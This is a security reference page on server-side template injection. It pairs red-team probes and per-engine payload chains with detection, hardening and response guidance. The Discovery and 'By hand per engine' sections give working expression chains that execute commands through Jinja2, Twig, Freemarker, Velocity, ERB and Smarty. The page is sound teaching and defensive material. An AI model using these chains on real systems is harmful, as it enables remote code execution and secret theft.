SSTI (templates)
When user input reaches a server-side template engine as part of the template (not as data), the attacker injects expressions the engine evaluates. In most engines this escalates to remote code execution (RCE), because the expression can reach the language runtime.
Threat model
Section titled “Threat model”RCE on the server (most common), file and secret reads, SSRF, and leakage of the template context (internal variables, config). Impact depends on the engine and whether it runs in a sandbox.
Anatomy
Section titled “Anatomy”A template engine compiles text with markers ({{ }}, ${ }, <%= %>) and evaluates
them. The flaw appears when the template is built by concatenating user input (e.g.
render_template_string("Hi " + name)) instead of passing it as a variable
(render(template, name=name)). Don’t confuse with XSS: SSTI evaluates on the
server; XSS autoescape does not mitigate it.
Common engines
Section titled “Common engines”- Jinja2 / Flask (Python) · Twig (PHP) · Freemarker / Velocity (Java) · ERB / Slim (Ruby) · Handlebars / Pug / EJS (Node) · Smarty (PHP) · OGNL / SpEL (Java, in frameworks).
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Inject a math probe and see if it evaluates (if you get 49, there’s SSTI); then
identify the engine by which syntax works or by the errors:
{{7*7}} -> 49 Jinja2 / Twig${7*7} -> 49 Freemarker / Velocity / Spring EL<%= 7*7 %> -> 49 ERB#{7*7} -> 49 some (Ruby/Thymeleaf){7*7} -> 49 Smarty
Detection polyglot:${{<%[%'"}}%\By hand per engine (from expression to RCE)
Section titled “By hand per engine (from expression to RCE)”# Jinja2 (Python) - chains vary by version{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP){{ ['id']|filter('system') }}{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
# Freemarker (Java)<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Velocity (Java)#set($e="exec");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)
# ERB (Ruby)<%= system("id") %> <%= IO.popen("id").read %>
# Smarty (PHP){system('id')}Tooling
Section titled “Tooling”tplmap and SSTImap (automatic detection + exploitation), PayloadsAllTheThings (per-engine chains) and Burp for manual work.
Impact and chaining
Section titled “Impact and chaining”RCE → secret exfiltration, pivot, persistence. In sandboxed engines (some Jinja2/Twig versions), the work is finding a sandbox escape.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Template errors in logs after input with
{{,${,<%,#{. - The app process spawning shells/unusual binaries (as in command injection) — a strong EDR signal.
- WAF with SSTI probe/payload signatures and anomaly.
Telemetry and sources
Section titled “Telemetry and sources”App and engine logs, process creation (auditd/Sysmon), egress/DNS.
Hardening
Section titled “Hardening”- Don’t build templates with user input. Pass data as variables, never concatenated into the template.
- Use logic-less templates (Mustache) or sandboxed engines when users must supply templates; validate/limit exposed functions.
- Least privilege and isolation (container, seccomp) to limit RCE.
- Autoescape protects against XSS, not SSTI: don’t rely on it here.
Response
Section titled “Response”Isolate the host, rotate secrets reachable by the process, hunt for persistence, and fix the template construction.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Atlassian Confluence — OGNL injection (CVE-2021-26084, 2021) — OGNL expression injection (a close cousin of SSTI) enabling unauthenticated RCE; mass-exploited.
- Craft CMS / Twig apps and numerous Flask/Jinja2 applications have suffered SSTI→RCE.
- Spring Expression (SpEL) injection in several Java products.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Math probe tested at each reflected point (identifies the engine).
- Server-side evaluation confirmed (it’s not XSS).
- RCE chain adapted to the engine (or sandbox escape if applicable).
- Impact proven with a harmless command (
id) in scope.